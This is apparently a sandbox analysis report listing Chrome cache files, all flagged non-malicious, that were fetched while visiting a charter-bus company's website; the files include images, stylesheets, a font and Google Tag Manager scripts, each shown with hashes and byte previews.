MD5:	631116A74BB6F51F115C7B183EAA6878
SHA1:	B382E2A8C5DB3A82666CFFD7ECD655C568DC4844
SHA-256:	163A23A9A61176E4A877908A086EFBE20A7364DC63F21C431BD41121A0E5187C
SHA-512:	2C2EDA7514FFCDA05B72688B7CB65AFE6219C020D4E740C4456DFF863A9EC6B89F4B83987A7643EC9DE4FDF10C0BBBB634714D9367F97BF32AF90612CA7579A2
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......>...../http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 2022 Macintosh" xmpMM:InstanceID="xmp.iid:F7CB9F6F4DC011EF962FFFD3A1D94748" xmpMM:DocumentID="xmp.did:F7CB9F704DC011EF962FFFD3A1D94748"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F7CB9F6D4DC011EF962FFFD3A1D94748" stRef:documentID="xmp.did:F7CB9F6E4DC011EF962FFFD3A1D94748"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d.............................................................................................................................

Chrome Cache Entry: 304

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 503x507, components 3
Category:	dropped
Size (bytes):	88932
Entropy (8bit):	7.976802867819158
Encrypted:	false
SSDEEP:	1536:xCL/ilSyi6Qo6qCMIcyvMU4+cSIhCjyHYUow0YP01nbsgQyCKW1EL1WjODHnzvcL:xs/ilwqTqEU4yIygBsBb5PCKIXiHzI9B
MD5:	B21D455DED70650EBEF68ECAA2DDCD68
SHA1:	8F85957933AFC3331ECF9A2B203BA8BCEA297240
SHA-256:	CF0A87EB35778B49FDEC4941CA2F2CEB1B1B611C6ECA8928FC652A4E4BB30354
SHA-512:	CCE4A443084EF070DB36E08D0C9E6C319CDAC209C8A2BC281DEFCAD8B8C762EBF355D16FED20BEA55ADFA6FCB3503BA32D3A829371C3D2087EB7BF9C1B66A1EC
Malicious:	false
Reputation:	low
Preview:	......JFIF.....................................................................&""&0-0>>T.......................................................&""&0-0>>T......................8........................................................................f'x..;..;D.N.;A.NI.N.9...H.'0d.r...2....F..I..L...`10..Lk&..I..Y).}....t..cI.&...Ls..j..5.j.0.7..'h...'!.Nbv.....H.@.bv$. .@...H@.....H..,M4.Y.....bc.....k1.)...z+.f9.5..c..]-..4..5.h...v..NCh...9.$....2.'0d...d..@.... .....$.)3.t.........LL`1%5.n..t..1...jWI.&4....k..9..M.A.f'0d..`.$NC!..19.' ..... ........\|.2u.Z.........&..1...^.Y.f1&.i1..R5..cKWB....3.I.d.2N@.' .@.2......2.....`...!Y.{....`.....#.Mb..uI0.#Y0F..#.k&..Mt.vF.3.A.r.... .@.2.!$.$......0.....$..k.L.@...........#2`..$&5.!.g.9.]....--..p..2.d.. ....H3 ...............D3...@...LH@L`...sg.:.`2..."~@..O...Dy....x..Z.. .@............ .............M...K........H.m..^..@..@..A..t..o.^../.,(...$..........2..................F.......0....Q'..4...b.@..<w.e...wK....j..

Chrome Cache Entry: 305

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 269x179, components 3
Category:	downloaded
Size (bytes):	29114
Entropy (8bit):	7.980030046336913
Encrypted:	false
SSDEEP:	768:w5SLAcl04dREYssgKpD7mEM8a1rmQ1lO2nAtr:w5SLTl0qsSpD7uw32Atr
MD5:	43416083A4427802C235D876A92BD24F
SHA1:	3F3AA2C5A36E43127CCEC0805F3AAF0CA1425C8B
SHA-256:	9A7CF84E9952BE7E6E010D28BE4E26F75EA3A570E6A956829AB6C3983BB9A0AE
SHA-512:	AD39325B8CDC18BB39211C7F168D8126F9CA7F0A0E972344B7E3F62D601E498CF660C537724E2E1D09FD681D134CCE1841486180BBA66A1816AA93BE10FA7FD1
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/employee/upload/generalSliderImages/1667934813event-group.jpg
Preview:	......JFIF.........................................................................&$&22C...........................................................&$&22C......................6......................................................................{.'Z...H.).P.....6.7q....klE.Tr&U%.s.~.W.....`m..){.s...9C...sG..._...zS$.J6CN.;.^...P..'-....Z5.\.U....0<o...aZ0..J....WR...:!46oA.v..A:......J.0.V,~...v.v{$.V.+.....A...ff...T.......Tb`...v.....G..;Q..}..=W.....`=>4n...7[..1ls...b.R...{p....S".u..4-.:.FW....~..-..VR..N..S.cMA..?...Y.o.{..Q....Z.....Xk....N.U...m..^}..5".n..O...._5....v....WU...<.7G..\....... ....u\|.y.....$....V..O.5..&.....S...1 u..U7...\!..O./..w.&.6k.......:.[...$.$3-.......v@g.[Y.....tQ.<.i..I...BU.......{L.0.1m1..F.:.23.G...!...{.3.-..[mV.B.e5....d\........p.Y/....ygx.q..:.Z.y..8..\|......>....@~O....#x.X^k..... ..#....".t{.,v...j\|:9.2....p.hk[mt.$.W....s..+,.t.fy {.......IM..SO..o.......g:.<.5#`.}f;B..M..b..dc...y.!.".R...-..W.EZQ.

Chrome Cache Entry: 306

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 269x179, components 3
Category:	downloaded
Size (bytes):	27782
Entropy (8bit):	7.9813787978694855
Encrypted:	false
SSDEEP:	768:jIvV9I/vThJQJbCGdiaqdRUa9u741ztGrFf+8oog7r3qEDYW2:cvVS/bhqJbCYiBGa96lh28LOj2
MD5:	CB109DF8A075195F40B43760A38A4F6C
SHA1:	72C4CDF9E3EFDBAAEAF1E784B5C17877C7294363
SHA-256:	A7E1BB0D91D80091FE298531E76ED4E864785EDF867B6B9E4BDEE97E34807035
SHA-512:	CDA546F36D4ABE735CDBEE3F463424824268DE29F09FC5A25E2046D238913C9EBCD89BFB66B2F959297BD7CA2C0D7D3EE9E039ED4827BF2F49514D76859613F1
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/employee/upload/generalSliderImages/1667934857sports-team-huddle.jpg
Preview:	......JFIF.........................................................................&$&22C...........................................................&$&22C......................7...................................................................6rNZ.<.:...j;.U.&..... .._;..`..;.3.cW]kh'.j..L)..y4.8deZu...C..Y.D.]0.:.a....N6....R...n/..S0...".>o....xF..L.}.x..:%8...V.~....\|..s...gH...N...Wq...1.Sb.j.'.....u.C.c....Lj...^,...s.?&}.~.14.s.`....\|.4.Y........../g.Zn.\}.....2....\|.T.Y8..N.l.....F.........C7.?~.......>.K.)..5i.{.......,..r..=.S..1.K....]...x@gUe.a1M..L........\.....f.6.iQw.....oX.....(...:`.3.j...U..v.../...t..U.H.o..E6.d.WT..AI.s M{}d.PS..........S..X..4x.a.U...........;P.E..u..R`...vz)....i.YG..U#l.....\|.fK....%}>....s.....U..QE....}..+..>C...,.W\|Y#......T]....?...x...j.uJ......B...?....L....h.w....ij.yx..oc~...=..=F....l.....I.......:.OK4..Kj+$.hA.(.D...q.[....0. :.........A...Cs..g.}b.i.\...e.;..<.......V...8`..A..9..=I...t]..

Chrome Cache Entry: 307

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8453)
Category:	downloaded
Size (bytes):	447643
Entropy (8bit):	5.641971224091026
Encrypted:	false
SSDEEP:	6144:ENs74ILCrutUNcbtQ6joU5F43F8yuxq5mj3LoPI:KsBeCtUKtK5m/oA
MD5:	B5A6F47631C4A25C4D745B7BDA0C35C6
SHA1:	31230B13325AF8E6DB8082F39F70272A20C26CC2
SHA-256:	4918BBCFEB1957E5E96CD6C38C4981C4FAFD8EAAF56D72A06F5188703C2A0DD5
SHA-512:	F6E6612B879D9D4DE74C279D6DEB393876F16FC72B56E9E1C5E6739BAA9D2F037E7B64516E94410904F8F0FF84C714F5B4A4DC7CA0A8688F436FE18B656F28F6
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtag/js?id=G-TSFRMYZ71E&cx=c&gtm=45He55k0v78295896za200&tag_exp=101509157~103116026~103130498~103130500~103136993~103136995~103200004~103233427~103252644~103252646~103301114~103301116
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"2",. . "macros":[{"function":"__e"},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_1p_data_v2","priority":17,"vtp_isAutoEnabled":true,"vtp_isManualEnabled":false,"vtp_autoPhoneEnabled":false,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_autoAddressEnabled":false,"vtp_autoEmailEnabled":true,"vtp_manualEmailEnabled":false,"vtp_cityValue":"","vtp_postalCodeValue":"","vtp_lastNameValue":"","vtp_phoneValue":"","vtp_emailValue":"","vtp_firstNameValue":"","vtp_streetValue":"","vtp_regionValue":"","vtp_countryValue":"","vtp_isAutoCollectPiiEnabledFlag":true,"tag_id":7},{"function":"__ccd_ga_first","priority":16,"vtp_instanceDestinationId":"G-TSFRMYZ71E","tag_id":25},{"function":"__set_product_settings","priority":15,"vtp_instanceDestinationId":"G-TSFRMYZ71E","vtp_foreignTldMacroRe

Chrome Cache Entry: 308

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1168)
Category:	downloaded
Size (bytes):	21298
Entropy (8bit):	5.468386395544133
Encrypted:	false
SSDEEP:	384:T35kx0X2DhlV9mgXLP735jiZa9GXu4X5zm/lBUD7ApvsPq72em76Y2Vi1ZNcskKq:TM6ChlV9myLP5iU9aVX5CdBUXsvmemuv
MD5:	EBAE26B504EF46D17187A7756934A49F
SHA1:	07943362727E7AB88F4AAC1264476045B250136B
SHA-256:	4893DCA8BEB03B730DD6AEF745346510C009885A7BDC22DF2AD88A2BE765776F
SHA-512:	820D01F4E638A9E50AE52F45F6AA2A6932C1DB4C0678FEA7C4F74D8B092E9DE703AFEB1611ED4DDCD7078B123C1E9AFF8E7776A0BA9C0EA40FB7C525CC6E5311
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/static/service_worker/55j0/sw.js?origin=https%3A%2F%2Fgogocharters.com
Preview:	'use strict';var aa=function(a){function b(d){return a.next(d)}function c(d){return a.throw(d)}return new Promise(function(d,e){function f(g){g.done?d(g.value):Promise.resolve(g.value).then(b,c).then(f,e)}f(a.next())})},h=function(a){return aa(a())};/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var n={},q=null,y=function(a){var b=3;b===void 0&&(b=0);x();const c=n[b],d=Array(Math.floor(a.length/3)),e=c[64]\|\|"";let f=0,g=0;for(;f<a.length-2;f+=3){const p=a[f],r=a[f+1],v=a[f+2],w=c[p>>2],C=c[(p&3)<<4\|r>>4],u=c[(r&15)<<2\|v>>6],l=c[v&63];d[g++]=""+w+C+u+l}let k=0,m=e;switch(a.length-f){case 2:k=a[f+1],m=c[(k&15)<<2]\|\|e;case 1:const p=a[f];d[g]=""+c[p>>2]+c[(p&3)<<4\|k>>4]+m+e}return d.join("")},D=function(a){const b=a.length;let c=b*3/4;c%3?c=Math.floor(c):"=.".indexOf(a[b-1])!=-1&&(c="=.".indexOf(a[b-.2])!=-1?c-2:c-1);const d=new Uint8Array(c);let e=0;ba(a,function(f){d[e++]=f});return e!==c?d.subarray(0,e):d},ba=function(a,b){function c(e){for(;d<a.len

Chrome Cache Entry: 309

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 144 x 55, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	2457
Entropy (8bit):	7.477827661780707
Encrypted:	false
SSDEEP:	48:JHv8IEv/+XIq1TFEJLzV747ti2T3Wi4wfD8GQBsQrZ:JP8Iy//q1yJLZ74zz4wfY3s2
MD5:	AE6DA58D4F33329BE40E8107EBF56F02
SHA1:	9A641E1DCAEEEF194360170CAC521DCEB0FE191E
SHA-256:	A912EB1D516DEBC3DEA291C78BCA1946EB8AB8BD8E3E2B61CD49DC746F9795E2
SHA-512:	C2AF49F6318CDC1E8B447116BA59FFC2CDDB2644882161D64318F3BBD96923853EA97F06DCB3945E730D925C98FBB379F7BD9EDE4AB2493B734F63AF5722B492
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/img_new_design/city/icon1.png
Preview:	.PNG........IHDR.......7......3.....sRGB...,.....pHYs...%...%.IR$.....PLTE.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................tRNS........j..>&.....d<....,...#......+G...)x..4..8Z.....Q^.oDY.I.......=X..s....B ....r.........q..@.[H...........?M.....1.........f..\.C..K...m..../...6.'..c.{\|.l..ewS..z!..b0TV"U.(.2h.}t$.-

Chrome Cache Entry: 310

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 332 x 186, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	62601
Entropy (8bit):	7.98179639984835
Encrypted:	false
SSDEEP:	1536:I9M+ogdQZvyslX7/BTgMxRjZQzY4gySZxaEwEF2OqZ1+e7FD:I9MIxqDBUMU9gyIhFLEP71
MD5:	66B7E12681E4BB1FC0C6FD4C477062DC
SHA1:	396DDD0EB5A373096E96D2A9C6E3E064D545A83D
SHA-256:	DD7E580FC2D00EE09ADEC3A31C43234C0035F6A7BE21B8A72C0681D4974E7EBC
SHA-512:	6CC1FF70C66C1C9A301D4F960379D93DB9CCABF827324DEC880955F94996ABAFDA60C068861D15BF13B8CC1324276DDBEC1ECAA6E98C07979FC71498D45FE365
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/img_new_design/24-passenger-minibus.png
Preview:	.PNG........IHDR...L...........t....PIDATx..w.eWY..k.]N...-.7.D)RC ..TQD@~."bWP..T...J.....B..L.4Rg23.v.=}.....9gB.....7.....}..{.g..y.WXk...&6..}....;0..Mlb.Wl......&v.6..Mlb.;N....&6....M.sb.....&.9..Mlb.i.....&6...`Nlb...q..0'6..M.8m......&v.6..Mlb.;N....&6....M.sb.....&.9..Mlb.i.....&6...`Nlb...q..0'6..M.8m......&v.6..Mlb.;N....&6....M.sb.....&.9..Mlb.i.....&6...`Nlb...q..0'6..M.8m......&v.6..Mlb.;N....&6....M.sb.....&.9..Mlb.i.....&6...`Nlb...q..0'6..M.8m......&v.6..Mlb.;N.......q.VII.?`m}.z.J.e....g.1..z(......,....Z)#.$.5i.".@J.1.,.QJP.UI3M..(.R...d..b...8.h.R..Y...Xa1.`..X(."...X..Xc.0.=...0...,K.B....;jc....E.eSe...<I.....k.Z#......}. P.....\)..R).<.X... .X.Zk...c.J .$.5R.,..B..cs..n.R". .s..XkQJ..c4R..n..p..........1..aPJa.A[.. ...b...Xa..c..!...B...N....B...k8r...kk.A...;....{.?\|..?...(o...v.G.X.T.aL.V.T....o....u,.k.J..2S.&A\..is...8........u..F..._".2.R..k.._^.;...r.}..`e...q............W..k.A.={.j6...-;.S.....].M...?.O.....T...4R.....

Chrome Cache Entry: 311

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 269x179, components 3
Category:	dropped
Size (bytes):	27782
Entropy (8bit):	7.9813787978694855
Encrypted:	false
SSDEEP:	768:jIvV9I/vThJQJbCGdiaqdRUa9u741ztGrFf+8oog7r3qEDYW2:cvVS/bhqJbCYiBGa96lh28LOj2
MD5:	CB109DF8A075195F40B43760A38A4F6C
SHA1:	72C4CDF9E3EFDBAAEAF1E784B5C17877C7294363
SHA-256:	A7E1BB0D91D80091FE298531E76ED4E864785EDF867B6B9E4BDEE97E34807035
SHA-512:	CDA546F36D4ABE735CDBEE3F463424824268DE29F09FC5A25E2046D238913C9EBCD89BFB66B2F959297BD7CA2C0D7D3EE9E039ED4827BF2F49514D76859613F1
Malicious:	false
Reputation:	low
Preview:	......JFIF.........................................................................&$&22C...........................................................&$&22C......................7...................................................................6rNZ.<.:...j;.U.&..... .._;..`..;.3.cW]kh'.j..L)..y4.8deZu...C..Y.D.]0.:.a....N6....R...n/..S0...".>o....xF..L.}.x..:%8...V.~....\|..s...gH...N...Wq...1.Sb.j.'.....u.C.c....Lj...^,...s.?&}.~.14.s.`....\|.4.Y........../g.Zn.\}.....2....\|.T.Y8..N.l.....F.........C7.?~.......>.K.)..5i.{.......,..r..=.S..1.K....]...x@gUe.a1M..L........\.....f.6.iQw.....oX.....(...:`.3.j...U..v.../...t..U.H.o..E6.d.WT..AI.s M{}d.PS..........S..X..4x.a.U...........;P.E..u..R`...vz)....i.YG..U#l.....\|.fK....%}>....s.....U..QE....}..+..>C...,.W\|Y#......T]....?...x...j.uJ......B...?....L....h.w....ij.yx..oc~...=..=F....l.....I.......:.OK4..Kj+$.hA.(.D...q.[....0. :.........A...Cs..g.}b.i.\...e.;..<.......V...8`..A..9..=I...t]..

Chrome Cache Entry: 312

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	4589
Entropy (8bit):	4.908835802696595
Encrypted:	false
SSDEEP:	48:3T2KAu/SZlnkV0Nk1CImcKBjp53iXBalYhGT2F+isAllAPnFMF4FNlL0q0:3T27uIcUhT2FHPaq
MD5:	D1D99D19E9F8B729DF7F7F2AFCFC9C36
SHA1:	B69EC5CE3F00EEE4D87B738E3BFDF9E4C26A63D6
SHA-256:	266DAD45B8F1E9E4D23F53456560FD5528AD5BC142B6748E1A30E554984778BA
SHA-512:	3F3144835A35507A62D9C3799D997CE6661A8DACF48495EBA73C5B0AA80D9AE05CC0B3DB9A5981648F312E22ECAE24B1F357FBCD6F7621B1FBB395ED638E1DB3
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/css_new_design/qc.slider.css
Preview:	/.@Author: Edinson Tique.@Name: QCSlider Pluggin.@Version: 1.4.3.@Year: 2018.@Contact: www.fb.com/QueCodigoPG.@Libraries: jQuery./.:root {. --opacity-slide: 0.5;. --height-slider: 507px;. --color-slider: #ff3e00;. --height-responsive: 507px;.}..section.slide {. position: relative;. float: left;. display: block;. width: 100%;. height: var(--height-slider);. box-shadow: 0 3px 6px rgba(2, 2, 2, 0.16), 0 3px 6px rgba(4, 4, 4, 0.23);.}.@media only screen and (max-width: 766px) {. section.slide {. height: var(--height-responsive);. }.}.section.slide .slider-container {. width: 100%;. height: 100%;. float: left;. display: block;. margin: 0 auto;. overflow: hidden;. position: relative;. background-color: #FFFFFF;.}.section.slide .slider-container .slider-wrapper {. margin: 0;. padding: 0;. width: 100%;. z-index: 90;. height: 100%;. position: relative;.}.section.slide .slider-container .slider-wrapper li {. display: none;.}.section.slide .slider-container .slid

Chrome Cache Entry: 313

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 48828, version 1.0
Category:	downloaded
Size (bytes):	48828
Entropy (8bit):	7.995461771702453
Encrypted:	true
SSDEEP:	768:JxS2+qDcZR+b2Gl/vWSX4d6PNn4M/1Cq0ASGOqNVW8orhz2GxrmlmdYK422:Jt1cDYx+SIsPG+4qST8orhF9m8dn/2
MD5:	33ACB81AB72D48FA6B9537B39CD89F0B
SHA1:	47F580DA7A4445B0DBE329D65366A62720764EE8
SHA-256:	F1E1EF7A05E63D0221E126B7C73B2329AF11D22DE516C9FA1639BC541ECFDC03
SHA-512:	DDA7BE2662C5F1299F413BBF43A824D8D9A430CA8DCB35E570EAEEBE0AAC9ACB2315FB166F4DA3229EC06F785524C8AB8DE12E01CB4413850D9FE2CB66C8731F
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/fonts_new_design/Poppins/Poppins-Light.woff2
Preview:	wOF2..............N<...[........................?FFTM......$..T.`..^........R.....6.$..f. ..{..8[l...a..7.T".6.P.e}.....mS.....yTXJ\|.....VY...%......%.1..#...I.Z..U...A.!..AAYL.F.....rM).PS.S..........F...t^...]...k.X.n...\..%..SP...)....,...xEk....=....RX.w.2.........i...\..t.D@. ..'V<..v/...@O.L8..o2h5RK.#.Z$tr.=]..[.$.......^..M\ ,.S/a..tV.......2C0.q.j. ....o...n............:.ILP....8n...=K..+.:..Av.....y.Zw...d.D.......k.7/....).%d......%.U=..U...77_...$...I.Y7..........{...a-..\........J..v...Z........y.....M..s.D.3....$c......d.$.i.c.d.....M..h..j.v@.=.-.W.^.......B6...P.M............>.s_.}....(Z..j..W..E...~..@F<..p.._D....)N.NJ.{0.G(j.."4~..NZ....n...:......7..o....]`$.\..)....K)(.=..R.@..A..5{..=.:.M)q...RJ)....GQ.M..M...[.EQ4M.4....d.!C.....cv...#.....7..RJ)npnQ.ES4M....FQ.E.4M..?..#..#R...Is......&..D..2....7..B..(\|A..v.n..E.65Wj. .0..H..H...F.....(..)..}..q:...@&...!s5.s}....._...?g.....C:...(l..Y............WA(..a..R.(.._...;.

Chrome Cache Entry: 314

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 105 x 63, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	2300
Entropy (8bit):	6.841555841074514
Encrypted:	false
SSDEEP:	48:g/6oJwNnwknA9WpizkJ3//cHJ3o1I3t5H6JjjXyfyNpNIJgJ7A7gCG4:gSu4wknmWpiY5//t145H6JPyfyf3d4
MD5:	A95CB16D6E582CDA892A81CBD4083E22
SHA1:	214096345A0D1A7685295C2206B44F5E9994916C
SHA-256:	4C65E9F26B79F9B89DCBDD06879F34ED6F2CAF4B6778B5DFCEC10DD856ADF50D
SHA-512:	A4EFB5CF72A8EA52295F146B88C3C0A52E41C981E16A1106CBF099AD7D881BBE713E5CE94DCBFF597516EF9533B23204F38FBC7D6791DDD0113A1423F325F555
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/img_new_design/trust_banner/nationwide.png
Preview:	.PNG........IHDR...i...?.....l7q.....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmp:CreateDate="2021-12-28T13:14:28+05:30" xmp:ModifyDate="2021-12-28T13:30:16+05:30" xmp:MetadataDate="2021-12-28T13:30:16+05:30" xmpMM:InstanceID="xmp.iid:073f412c-4567-1748-b0dd-eb7601269d01" xmpMM:DocumentID="xmp.did:B2E6F0D1415A11ECB69CFE800869AE71" xmpMM:OriginalDocumentID="xmp.did:B2E6F0D141

Chrome Cache Entry: 315

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text
Category:	downloaded
Size (bytes):	5100
Entropy (8bit):	4.839162094389933
Encrypted:	false
SSDEEP:	96:vu5wLbfchB6p7bS81FV2lnwSLxzvsmNLTcn:vu5wLbfchB6p7bS8tcnwSLxzvsmNvc
MD5:	56831FBD2B13207BD3723DBBFE67368F
SHA1:	11385785BC17B3121DFF6DEDA1AA1AAD2EEBC24F
SHA-256:	2C1F631B48CB103CF77AACA6EF432E6503E1C60AC92DF7099B3078843E5A55A7
SHA-512:	9F6EBD2875FAA389E2A3A8CAE377BA2AAFA67C322D4029C131005E360AADB36A70F4823986F4421A36E2B496ABC0749FC9709927B08882D89FA9DB3497334D1A
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/css_new_design/slick.min.css
Preview:	/* Slider */..slick-slider.{. position: relative;.. display: block;. box-sizing: border-box;.. -webkit-user-select: none;. -moz-user-select: none;. -ms-user-select: none;. user-select: none;.. -webkit-touch-callout: none;. -khtml-user-select: none;. -ms-touch-action: pan-y;. touch-action: pan-y;. -webkit-tap-highlight-color: transparent;.}...slick-list.{. position: relative;.. display: block;. overflow: hidden;.. margin: 0;. padding: 0;.}..slick-list:focus.{. outline: none;.}..slick-list.dragging.{. cursor: pointer;. cursor: hand;.}...slick-slider .slick-track,..slick-slider .slick-list.{. -webkit-transform: translate3d(0, 0, 0);. -moz-transform: translate3d(0, 0, 0);. -ms-transform: translate3d(0, 0, 0);. -o-transform: translate3d(0, 0, 0);. transform: translate3d(0, 0, 0);.}...slick-track.{. position: relative;. top: 0;. left: 0;.. display: block;.}..slick-tra

Chrome Cache Entry: 316

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	22
Entropy (8bit):	3.3519530742463743
Encrypted:	false
SSDEEP:	3:YMILFk9:YMH9
MD5:	3E282A071D3F95E2C37178FADAB0EE6D
SHA1:	342D3C20E2D036C7351809FA9A6C9E540CCD369C
SHA-256:	31A040500AEDA33D4490D07A2BAD394662D3BDA59FCBE3514B853EE06B59F956
SHA-512:	795EA89DAF84A12784A7ECC2AA24DF96044F52D13DA74CC894895747CEC14B8FEDFB92AB48E36D465919E60022F7309A5874289D2F51B0ADFC17CB335D185E77
Malicious:	false
Reputation:	low
Preview:	{"ip":"191.101.61.23"}

Chrome Cache Entry: 317

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 332 x 186, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	62601
Entropy (8bit):	7.98179639984835
Encrypted:	false
SSDEEP:	1536:I9M+ogdQZvyslX7/BTgMxRjZQzY4gySZxaEwEF2OqZ1+e7FD:I9MIxqDBUMU9gyIhFLEP71
MD5:	66B7E12681E4BB1FC0C6FD4C477062DC
SHA1:	396DDD0EB5A373096E96D2A9C6E3E064D545A83D
SHA-256:	DD7E580FC2D00EE09ADEC3A31C43234C0035F6A7BE21B8A72C0681D4974E7EBC
SHA-512:	6CC1FF70C66C1C9A301D4F960379D93DB9CCABF827324DEC880955F94996ABAFDA60C068861D15BF13B8CC1324276DDBEC1ECAA6E98C07979FC71498D45FE365
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...L...........t....PIDATx..w.eWY..k.]N...-.7.D)RC ..TQD@~."bWP..T...J.....B..L.4Rg23.v.=}.....9gB.....7.....}..{.g..y.WXk...&6..}....;0..Mlb.Wl......&v.6..Mlb.;N....&6....M.sb.....&.9..Mlb.i.....&6...`Nlb...q..0'6..M.8m......&v.6..Mlb.;N....&6....M.sb.....&.9..Mlb.i.....&6...`Nlb...q..0'6..M.8m......&v.6..Mlb.;N....&6....M.sb.....&.9..Mlb.i.....&6...`Nlb...q..0'6..M.8m......&v.6..Mlb.;N....&6....M.sb.....&.9..Mlb.i.....&6...`Nlb...q..0'6..M.8m......&v.6..Mlb.;N.......q.VII.?`m}.z.J.e....g.1..z(......,....Z)#.$.5i.".@J.1.,.QJP.UI3M..(.R...d..b...8.h.R..Y...Xa1.`..X(."...X..Xc.0.=...0...,K.B....;jc....E.eSe...<I.....k.Z#......}. P.....\)..R).<.X... .X.Zk...c.J .$.5R.,..B..cs..n.R". .s..XkQJ..c4R..n..p..........1..aPJa.A[.. ...b...Xa..c..!...B...N....B...k8r...kk.A...;....{.?\|..?...(o...v.G.X.T.aL.V.T....o....u,.k.J..2S.&A\..is...8........u..F..._".2.R..k.._^.;...r.}..`e...q............W..k.A.={.j6...-;.S.....].M...?.O.....T...4R.....

Chrome Cache Entry: 318

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 105 x 63, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	3768
Entropy (8bit):	7.510316826606761
Encrypted:	false
SSDEEP:	96:gSu4wknmWpiq2x7/aY5H6Pik/VU9YgKQtLNmdeGotkL+E:gSuVknZwXq/VUNhS+E
MD5:	C4E9AC7134804E8A5CDC0D3B63B05E9A
SHA1:	C4D2F7CFB995EB64A3818AE6312FFD5B86509445
SHA-256:	D177AD8EA42511EFC080B6A06B272B30DE329B839DA6E752AD5C7EA6EA9D0554
SHA-512:	2C7737DEBE6A30E67CA2BCF15D22CFB6DCF9DC23B5B3D7E1CF2C17D95F81CB68EA50BDE48A63EFF8913AA2ACAB022E97A83DA6D6AF8F6196CAB77DA4FC78679B
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/img_new_design/trust_banner/pricing.png
